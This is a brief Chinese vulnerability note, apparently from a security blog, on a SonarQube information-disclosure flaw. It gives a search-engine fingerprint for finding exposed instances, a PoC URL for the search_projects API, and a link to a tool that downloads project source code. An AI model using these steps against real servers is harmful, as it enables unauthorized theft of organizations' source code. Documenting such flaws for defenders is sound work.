SonarQube search_projects 项目信息泄露漏洞

# SonarQube search_projects 项目信息泄露漏洞 ## 漏洞描述 SonarQube 某接口存在信息泄露漏洞,可以通过工具下载源码 ## 漏洞影响 SonarQube ## 网络测绘 app="sonarQ...

SonarQube search_projects 项目信息泄露漏洞

漏洞描述

SonarQube 某接口存在信息泄露漏洞,可以通过工具下载源码

漏洞影响

SonarQube

网络测绘

app="sonarQube-代码管理"

漏洞复现

主页如下

img

漏洞POC

http://xxx.xxx.xxx.xxx/api/components/search_projects

img

可通过工具下载项目中的源代码

https://github.com/deletescape/sloot

img

  • 发表于 2024-07-12 18:47:36
  • 阅读 ( 2219 )
  • 分类:Web应用

0 条评论

请先 登录 后评论
带头大哥
带头大哥

456 篇文章

站长统计